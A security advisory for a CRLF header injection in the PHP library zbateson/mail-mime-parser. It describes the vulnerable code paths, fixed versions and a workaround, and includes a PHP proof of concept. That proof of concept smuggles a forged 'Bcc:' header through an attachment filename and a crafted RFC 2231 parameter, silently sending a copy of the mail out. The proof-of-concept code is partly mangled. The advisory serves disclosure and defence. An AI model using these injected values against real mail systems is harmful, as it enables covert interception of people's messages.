GHSA-36h5-qg4p-q2qf zbateson/mail-mime-parser has CRLF header injection via attachment filename

• Packagist zbateson/mail-mime-parser: < 3.0.6 → fixed in 3.0.6 • Packagist zbateson/mail-mime-parser: >= 4.0.0, < 4.0.2 → fixed in 4.0.2

Impact A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed. Details On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc: [email protected]` therefore serializes as: ``` Content-Disposition: attachment; filename="doc Bcc: [email protected]" ``` The `filename` value closes after `doc`, and `Bcc: [email protected]` stands as its own header line. The decode side is affected as well, which is what makes purely inbound exploitation possible: • `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\r\n`. • The RFC 2047 path (`MimeToken`) strips `\r`/`\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value. As a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused. Proof of concept ```php composer require zbateson/mail-mime-parser addAttachmentPart('payload', 'application/octet-stream', $filename); echo (strpos($out->__toString(), "\r\nBcc: [email protected]") !== false) ? "INJECTED\n" : "clean\n"; } attachAndReport('invoice.pdf'); // => clean attachAndReport("doc\r\nBcc: [email protected]"); // => INJECTED // The CRLF reaches getFilename() straight from parsed mail via an // RFC 2231 filename*= parameter, so no local construction is needed: $inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n" . "--b\r\nContent-Type: application/octet-stream\r\n" . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%[email protected]\r\n\r\n" . base64_encode('data') . "\r\n--b--\r\n"; $fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename(); var_dump($fn); // => string(28) "doc\r\nBcc: [email protected]" attachAndReport($fn); // => INJECTED ``` Patches Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions. Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. Workarounds If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename). • Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.